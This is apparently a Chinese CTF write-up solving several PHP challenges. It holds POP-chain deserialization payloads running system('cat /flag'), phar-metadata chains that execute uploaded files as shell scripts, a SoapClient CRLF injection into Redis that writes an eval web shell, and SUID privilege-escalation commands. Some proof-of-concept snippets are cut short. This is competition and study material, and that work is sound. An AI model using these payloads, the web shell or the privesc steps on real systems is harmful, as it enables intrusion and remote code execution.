源码:
highlight_file(__FILE__);
error_reporting(0);
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
public function __toString()
{
return $this->ctf->show();
}
public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}
}
class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;
public function __construct($name, $password)
{
$this->name = $name;
$this->password = $password;
}
public function __sleep()
{
$this->hint = new secret_code();
}
public function __get($name)
{
$name = $this->key;
$name();
}
public function __destruct()
{
if ($this->password == $this->name) {
echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}
public function getPassword()
{
return $this->password;
}
public function setPassword($password): void
{
$this->password = $password;
}
}
class secret_code
{
protected $code;
public static function secret()
{
include_once "hint.php";
hint();
}
public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}
private function show()
{
return $this->code->secret;
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
} else {
$a = new show("Ctfer");
echo $a->show();
}
?>
poc:
class fine
{
public $cmd;
public $content;
}
class secret_code
{
public $code;
}
class show
{
public $ctf;
public $time;
}
class sorry
{
public $name;
public $password;
public $hint;
public $key;
}
$sorry = new sorry();
$sorry2 = new sorry();
$show = new show();
$secret_code = new secret_code();
$fine = new fine();
$sorry->hint = $show;
$show->ctf = $secret_code;
$secret_code->code = $sorry2;
$sorry2->key = $fine;
$fine->cmd = 'system';
$fine->content = 'cat /flag';
echo serialize($sorry);
?>
payload:只需要绕过 fine 类的 __wakeup 就可以了。
?pop=O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}}}s:4:"time";N;}s:3:"key";N;}
源码获取:search 界面,filename 参数获取源码,这些大家都会,怎么获取 flag 才是难点。


主要就是 class.php:
class User
{
public $username;
public function __construct($username){
$this->username = $username;
$_SESSION['isLogin'] = True;
$_SESSION['username'] = $username;
}
public function __wakeup(){
$cklen = strlen($_SESSION["username"]);
if ($cklen != 0 and $cklen <= 6) {
$this->username = $_SESSION["username"];
}
}
public function __destruct(){
if ($this->username == '') {
session_destroy();
}
}
}
class File
{
#更新黑名单为白名单,更加的安全
public $white = array("jpg","png");
public function show($filename){
echo ''
;
if(empty($filename)){die();}
return '
.base64_encode(file_get_contents($filename)).'" />';
}
public function upload($type){
$filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
return "Upload success! Path: upload/" . $filename;
}
public function rmfile(){
system('rm -rf /var/www/html/upload/*');
}
public function check($type){
if (!in_array($type,$this->white)){
return false;
}
return true;
}
}
#更新了一个恶意又有趣的Test类
class Test
{
public $value;
public function __destruct(){
chdir('./upload');
$this->backdoor();
}
public function __wakeup(){
$this->value = "Don't make dream.Wake up plz!";
}
public function __toString(){
$file = substr($_GET['file'],0,3);
file_put_contents($file, "Hack by $file !");
return 'Unreachable! :)';
}
public function backdoor(){
if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
$this->value = 'nono~';
}
system($this->value);
}
}
test 类中的 backdoor 函数可以执行 system,但有过滤,过滤了字母数字和三个符号,并且 system 无法执行异或、取反、或,且反序列化后会先执行 __wakeup 再执行 backdoor,这边的 __wakeup 无法绕过,因为 php 的版本不符合,那么怎么使 value 值不发生改变呢?这边就涉及到一个小的知识点:我们只需要让 value 指向一个变量的地址,这样它的值就无法改变了。
class Test
{
public $value;
public function __destruct(){
chdir('./upload');
$this->backdoor();
}
public function __wakeup(){
$this->value = "Don't make dream.Wake up plz!";
}
public function __toString(){
$file = substr($_GET['file'],0,3);
file_put_contents($file, "Hack by $file !");
return 'Unreachable! :)';
}
public function backdoor(){
if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
$this->value = 'nono~';
}
system($this->value);
}
}
在保证 value 不会被改变的情况下,怎么绕过 preg_match 执行 shell 呢?这边又有一个小知识点:在 linux 中,. ./* 会把当前目录下的所有文件当作 sh 文件执行。

且在这题中我们可以上传文件,那没我们可以上传一个 jpg 文件,内容为:
#/bin/sh
ls /
问题又来了,怎么令 value 为 . ./* 呢?我们接着看 User 类,在 __wakeup 中 $this->username = $_SESSION["username"];,也就是 $this->username == 我们的登录名,那么我们是就可以在登录时,以 . ./* 为登录名,然后令 Test 类中的 value 指向 username,因为 username 是可控的。
class User
{
public $username;
public function __construct($username){
$this->username = $username;
$_SESSION['isLogin'] = True;
$_SESSION['username'] = $username;
}
public function __wakeup(){
$cklen = strlen($_SESSION["username"]);
if ($cklen != 0 and $cklen <= 6) {
$this->username = $_SESSION["username"];
}
}
public function __destruct(){
if ($this->username == '') {
session_destroy();
}
}
}
poc:
a = $Test;
$Test->value = &$User->username;
echo serialize($User);
$phar = new Phar("ddd.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata($User); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

最后读取flag,base64 解码 file.php?m=show&filename=/ghjsdk_F149_H3re_asdasfc
预期解就是利用 * /* ,把文件名当作命令,例如我们的文件名是 cat 那么就是 cat /*,但这个有个局限性,就 cat 而言,如果它不是排在第一位,就无法执行,反之可以。

回到题目,那么我们先要上传一个 cat 名字的文件,那要怎么传呢?在 test 类中的 __toString 可以传文件,且文件名是可控的。

且在 User 类中的 __destruct 存在 $this->username == '' 弱比较,可以令 username 为 test 类 ,这样就可以触发 __toString 了。

那么 User 类中的 __wakeup 该怎么绕过呢?可以令 username 为一个数组,这样 username 就可以改为 test 类了。


第一条链子:
username = $Test;
echo serialize($User);
$phar = new Phar("ddd.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata($User); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
此时 cat 已经写进去。

那么第二步就和非预期解一样了,只不过这次的 username == * /*
a = $Test;
$Test->value = &$User->username;
echo serialize($User);
$phar = new Phar("ddd.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata($User); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

先读 hint.php
hint.php 源码:
有 redis 且有密码是 202203111,所以我们可以通过 CRLF 控制请求头,再结合 SoapClient 发起请求写入 shell。
想了解 redis 未经授权访问的移步:https://blog.csdn.net/shinygod/article/details/127034013 第 360 题。
SoapClient 原生类的使用这边就贴一下 Y4 师傅的解释。
综述:
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。
必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。
通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
----------------------------------------
原文链接:https://blog.csdn.net/solitudi/article/details/113588692
poc:
wllm = 'SoapClient';
$this->l61q4cheng = array(
'user_agent'=>"\r\nAUTH 20220311\r\nCONFIG SET dir /var/www/html\r\nSET x '@eval(\$_POST[1]);?>'\r\nCONFIG SET dbfilename cmd.php\r\nSAVE",
'uri'=>'bbb',
'location'=>'http://127.0.0.1:6379'
);
}
}
echo urlencode(serialize(new swpu()));
这边反序列化后可以等一会就可以蚁剑连了,网页在转圈的原因是没有收到返回的信息自然就会在那边一直转。
flag 文件没有权限读取,这边学到了一个提权的小知识,suid 提权。

这边的 date 可执行文件中的 s 就是 suid 了。

提权payload:
find / -perm -u=s -type f 2>/dev/null
date -f /hereisflag/flllll111aaagg
如果还有什么方法,希望大叫能够告之 ^ _ ^ ,最后这题感觉主从复制应该也行。
有点难,以后集合再弄吧
dasctf 微信公众号里的 wp 文档
https://pysnow.cn/archives/566/
https://blog.csdn.net/qq_64201116/article/details/127541200?spm=1001.2101.3001.6650.8&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7Edefault-8-127541200-blog-127550670.pc_relevant_landingrelevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7Edefault-8-127541200-blog-127550670.pc_relevant_landingrelevant&utm_relevant_index=9